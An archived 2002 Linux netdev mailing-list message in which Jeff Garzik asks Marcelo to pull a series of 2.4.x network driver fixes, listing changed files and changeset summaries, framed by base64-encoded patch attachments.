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 --------------090806070306060704010102-- From jgarzik@pobox.com Sun Sep 29 17:01:21 2002 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Sep 2002 17:01:24 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8U01JtG012779 for ; Sun, 29 Sep 2002 17:01:19 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=pobox.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17vnzx-0006Vg-00; Mon, 30 Sep 2002 01:01:17 +0100 Message-ID: <3D97942E.90106@pobox.com> Date: Sun, 29 Sep 2002 20:00:46 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Linux Kernel Mailing List , netdev@oss.sgi.com Subject: [BK/GNU] net driver 2.4.x series 7 Content-Type: multipart/mixed; boundary="------------030608000203070204070101" X-archive-position: 412 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------030608000203070204070101 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit (just for historical reference) --------------030608000203070204070101 Content-Type: text/plain; name="net-drivers-2.4.txt" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="net-drivers-2.4.txt" Marcelo, please do a bk pull http://gkernel.bkbits.net/net-drivers-2.4 This will update the following files: Documentation/Configure.help | 8 drivers/net/3c509.c | 4 drivers/net/3c59x.c | 27 drivers/net/8139cp.c | 34 - drivers/net/8139too.c | 4 drivers/net/Config.in | 1 drivers/net/Makefile | 2 drivers/net/acenic.c | 161 ++++- drivers/net/acenic.h | 26 drivers/net/dl2k.c | 5 drivers/net/e100/e100_main.c | 10 drivers/net/eepro100.c | 70 +- drivers/net/epic100.c | 6 drivers/net/fealnx.c | 12 drivers/net/gmac.c | 9 drivers/net/irda/smc-ircc.c | 2 drivers/net/pci-skeleton.c | 4 drivers/net/pcmcia/pcnet_cs.c | 6 drivers/net/pcmcia/xircom_tulip_cb.c | 3 drivers/net/sundance.c | 1015 ++++++++++++++++++++--------------- drivers/net/tulip/ChangeLog | 11 drivers/net/tulip/eeprom.c | 56 + drivers/net/tulip/interrupt.c | 22 drivers/net/tulip/tulip.h | 4 drivers/net/tulip/tulip_core.c | 19 drivers/net/wan/comx-hw-munich.c | 15 drivers/net/winbond-840.c | 6 drivers/net/wireless/airo.c | 94 ++- drivers/net/yellowfin.c | 6 drivers/video/clgenfb.c | 1 30 files changed, 1054 insertions(+), 589 deletions(-) through these ChangeSets: (02/09/19 1.703) Kill more e100 net driver compile warnings (02/09/19 1.702) acenic net driver update: * PCI write posting fixes, remove pa-specific code * support 2.5.x kernels (synchronize_irq, cli/sti compat cleanups) (02/09/19 1.701) Fix a couple compiler warnings in e100 net driver (02/09/19 1.700) Improve RX buffer size calculation, in sundance net driver (suggested by Donald Becker) (02/09/19 1.699) further sundance net driver fixes: * proper support for variable MTU sizes * default to PIO, to fix chip bugs on some boards * add CONFIG_xxx option for MMIO (defaulted off, per previous change) * add missing unregister_netdev in error path * remove 'mtu' module parameter, not needed (most of this cset contributed by Jason Lunz, and most of Jason's cset in turn originally came from Donald Becker's code) (02/09/19 1.698) Update eepro100 net driver hardware resume to Becker eepro100.c version (02/09/19 1.697) sundance net driver modernization: * support bitmapped message levels * don't hand-code ethtool media support, use standard API/lib (02/09/19 1.696) clean up previous sundance net driver fixes: - Remove mii_preamble_required module parameter (Donald Becker) - Add per-interface mii_preamble_required (setting is autodetected) (Donald Becker) - Remove unnecessary cast from void pointer - Re-align comments in private struct (02/09/19 1.695) sundance net driver fixes, and a few cleanups too: - Remove unused/constant members from struct pci_id_info (which then allows removal of 'drv_flags' from private struct) - If no phy is found, fail to load that board - Always start phy id scan at id 1 to avoid problems (Donald Becker) - Autodetect where mii_preable_required is needed, default to not needed. (Donald Becker) (02/09/19 1.694) Fix "multiple definition of 'smc_init'" error in smc-ircc irda driver, by declaring smc_init static. (02/09/19 1.693) comx-hw-munich WAN driver "performance fix": remove hideous udelay. Also, some minor cleanups (02/09/19 1.692) PPC-specific 3c509 net driver update: s/insl_ns/insl_unswapped/ inside #ifdef __powerpc__ (02/09/19 1.691) Track link state via netif_carrier_xxx, in gmac net driver (02/09/19 1.690) Update list of airo wireless commands, and two RIDs, from linux-wlan-ng sources and online sources (02/09/19 1.689) Use SET_MODULE_OWNER in eepro100 net driver instead of MOD_{INC,DEC}_USE_COUNT, eliminating a small race (02/09/18 1.688) Fixes for little-used paths and obscure races, in 8139cp net driver (contributed by matthias@waechter.wiz.at) (02/09/18 1.687) Remove ancient ETHER_STATS statistics code from several net drivers, code that has not been compile-enabled nor compileable in ages. (02/09/18 1.686) This patch fixes a bug in handling the timeout in pcnet_cs.c, where it uses the following test to determine whether the timeout has expired: if (jiffies - dma_start > PCNET_RDC_TIMEOUT) { Unfortunately, PCNET_RDC_TIMEOUT is defined to be "0x02", so the length of the timeout is only two jiffy ticks, rather than being the expected 20ms. This patch fixes this. Also, the above (and one other place) should be converted to time_after(). (02/09/18 1.685) merge most of the hppa support into tulip net driver (02/09/18 1.681.1.4) Fix merge error in 3c59x netif_carrier_xxx change (02/09/18 1.681.1.3) Add support for Cirrus Logic GD7548 to clgenfb fbdev driver (contributed by gabucino@mplayerhq.hu) (02/09/18 1.681.1.2) Merge up to version 1.04 of sundance net driver: * Fix multicast bug * Fix lockups at high congestion * fix problems with multi-port sundance boards * tx timeout recovery * additional ethtool support * new rx polling scheme, to better handle high RX packet rates (contributed by Edward Peng @ D-Link) (02/09/18 1.681.1.1) Add support for netif_carrier_xxx reporting to 3c59x net driver (based on a patch by Nelson Tan Gin Hwa, via Andrew Morton) --------------030608000203070204070101 Content-Type: application/octet-stream; name="netdrvr-series-7.tar.bz2" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="netdrvr-series-7.tar.bz2" QlpoOTFBWSZTWQoN/+UAwjh//f+0D0F//////////v////8AIACQABAQAAAF AAgQCGCb/n3PD6AAFAA+mV9GAAAO8dactauhauXXcY6dzcwYc64cPXbs7dSc zU33bjdt4+7r4vC+zAkZtE9ArrSbD6PkAoAF99wH19sdaAeIK77670PXtD2p 2+46vvPe1572AAGgB74vinPR92AcAfceF4DffHHvi3usb12fVrWx7Pr7776X 3e7x9iF6ctmk9tF7ZHocgAOX2p0UA6o98G32vHO5d973vauiT223d3NS1n26 py+jUut1qBpm+471Wdnjd11ntp3vu9o++efS3cN5jpd7tOtNerfTt53deoVX IZs92mzNtXexql2PffPqbPfT1vvPdeYqHfAa9t6xvs5xneru3a8x7ux774O2 MO1x3veOLznC613d0qvbuvXR33dXtnnO33vPXe71tsvXTsqandlnpr3tsgOc O5kec3rWYDA7ePe60NNmt1O5XdcdKqObO3gNO3YaXtxHXW1njlkBO9VvXr0e rfXDoa2tlG+93XifDcfW94m97rYJTSBACACZAAjQm0EaANJghim1NTYUPESZ onqbKAGCU0CECETSaAEYoyYyk8p+ozFTam1NomnqA9Q00fqho0BoABoJNFEi SVPakfqTT1PUZDTT0ah5Q9DUYmj0nqNGhhNAYagaaaA9TJhAJNJJNAmhGgJq bRpqR6T1T08mqPUeRNHlP1RtR6nqBoekDTQNAAAaCJIggEyBDU8mmQmCnpon poU8TTKY0yQep6aGo0yTQepiGmg08oIkhBNATICaCJ6nk0qn+VT9lU/1NU95 Kfqp+VNGg9T2iQ0P1QAAAAaB+1U/lqhHyeXy+ee3byebzT0WMsc8aw9Bp1ej AUyteEI7FSVIkgwUITaCgnUDzkFhQjBX/fHPpz486lpG2+2L3v0ot9+q7jZK CZptCJknhmCZCxmNIZmMrdxbzuS8d4QrqZqN8YtXUSlCqJiy/bzgZmNLbjhD gMhOzgmYWSDKQhsUDCQZIIJ89CQrILBQBVkmYRhCCEKowiyAjFAkUIqgrEDk iWgUlQEiSAkEjKWhSRsiCwESU6SxMLAhjYECEPqPwn1msxVVpAVq1o2abUNs uNAuVVVVVVVVVpbfr6bSo20tLaUqo21aVoWFjbREYtbVshWRIlQpZQ/53REe W8LaFVbQG2evJNxeS1VtqqtkWKstLSy2iMsWWqiKrW2FqqqNJapW3XKqCCIi IiI5sSijLWpShViIxX/0YlVg6QaUa/2OgUSb71NOnC0aqSj7uTAosXVso7Bi ZxWNGWxVLSqsUEorbLQqVaqwFqjbUTNEFmotRQVqUqUjW1Bo0LWWxi20itoI 1aVk2wZEitbVSoMFRbRYJREwYChitCgwst+WHdKUI8oVlQ5dFMgXFA0irFgr JpZZbtLwttnHYp+Olk3ypMe7Dn2qHN5antnDc91EsoacS8j81/ufpz9PxJx4 E/V1eVDU5ibEWFMYs0wVdS1VwOlmpMzjA40eq973SMcmQ2M022A2u2TRiqsT VtrNjOCbJQw2bRlS2ptmmuxERm0xs61pcFCts1AzoitFlBiA3UzBwWiRtHWX Zmbti4dMAXvMcTiKbNxkajEl10i1gpM7aWYWVWbFdSoME1LFakM6BYsCwbRp bNrMzUqsWIo52qKuEa0XKizCBWa4y5K4cAIZKbVarYZETNGaKtpNaabKsEuy ne1a870qoOAtZEaNGrQqWUii3YjbmEw6B0nOovI53jJEcHegxSMyNHofjSW3 g7NOipPk0tAetJkktoDCtpsW3ba61qWlRUtlsSpWFK0ExEET9JD7glmhx2DF ZUUr2SgqionChYKpaVWtWLHUtQUCz0h0s1bGjQed2GKCDIhmgKsYnn3s4aaU eFvBCwYqA+q03ssBRiCSAYxbY3sSDb8vC1f4p4/30H7/8igOLSb9MdKWgP8f 7Zhiniz4DWKI5EYgnguOV3pjjWij8gX8+1/zzwVP5P9lts7lZIHmTZqVgc+i LxStqlVVKqtQXr6MoImiKhw+y763OuwhOH5P5OCeThLLEAoqHmuT1eOJ71wJ UqMEhalhmJrAZGTCVIKTromBjaDa232FjbARIOTlo2myBSlsEiMC6UVzbSkS 1mGC0EZbSZsQrEQFxFQRiwZR2zdUYCm1gixyCy6yZxbmWuLaOSlKtg2FM5wX OtwOlltLtPPxCIHZk8iUWKjESKIeELBWPjNIhEZSkKiyBmLIVFU9JYuLy4RM IpmwyIwWxNqZILCKhrAqUrdbkV2uPYygkCcQHllRjIgCiazTSGErCoMGXFMK xUVSy30+zTs0e43aSVXjZyjrKjiZpbW4hTBYAlKkuaDENdg0l2Rt29UaZNdp iTvLAerwdC01JkQXGujBkLVpAqZtKtSoaFMmNM7XZbLgqsYgyIRiqMRtqooN FpjTYKKsqBqqqq0MB378oQ0EBgqILEDq91SmKMqjIVVEFIoDElQcSBcnRRyP k9fXVI5/8nnSM4kf6f9nPeyY/amP9jvX422m/vYb4m8bfqJfsGVh5iYtNCB9 VIXIzgrETUkkj69bfs7ZOwJjOB8psQSjLuRs8I+LjGV7LmXvPrT+Jpi8krhk B97932aMNr/TG0OJ27eB32xbs0nHRTwLQ4iUaWN4b6wY63zM77+ncxyu7lqU 1JowDosUIhnqoPothyxSmuHZnTNJFB4QD+igipop0Q2HzqRd7lwkRRTLfgpW i9tEdyR4fvRcOpJkxNopJMd4dsrAqM5hleYHXZZKfFO3+SnFKdClNAmDQmlX LyVqDi9s52k8aJe6lopgqDT3i2l9c3p823OEqM9LcOOvWB6eqw4yUQYm2MTM P94/3e7jbqPHMA99/PZJ3Dyremr9f23H6sO6v3f+ujNpbImvbuP9WkcT/ShB hLgWN22vs+LjVJU7EUFAkQH7UPbfCi4cQ6C/hmApD18NwSsJ9ykzKXBaydci eGO5fKeX0nfR5tXyYa1MnIcREYIjaYh2+dy4HV7zhYUqghWrrUNfV9fU519q knXy9+bhmKsOMq6hmSd+i4Dj4cKiLFEZzTjl57+rNCYsefHNaTlpXfDOBxaJ 5cDMZtmmmU7a3QwcQnHRGIMYkYItvNLtchEYZb75nHz61FvMeDzydTxDM/jM FFD3dlp+Z5zczBtn53LMzjCiVlcxZlVJelMMasXSFU8Wn4DLr4cLrRtHHGaY 9wjEp596CT6pfH8qrsZpv45+GMrfxWpyQDkHF/B/u2m6ddzneOi64uKLM+Bt tqSbJHgld2jcTM04RHxQpqk9PSRbxDoTukk+G39xz8sc0blQ98lz/LhQnPdU 2UY7anw8ifGGh7Kvo04IvYuaFiUsvTyR93ushKTkGyrhDrQbb/hWLRWCoQEl XjvjGVamj/ri5J75udGaSeCPlefc4mP57x8jZRCFpoSH9mJl380TGyj2k4b+ d3qs6woyBz8s/x/Y6e/R6gtT8jQbC939ozE/NjUoHoh3RA8O7xMRPd3Xj8gb 6mnZnDXg+usLFZDRU4HGhWGL6LEQ/hUOngfyGY6a8+3RDWjVN1XfCPUifsoR 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 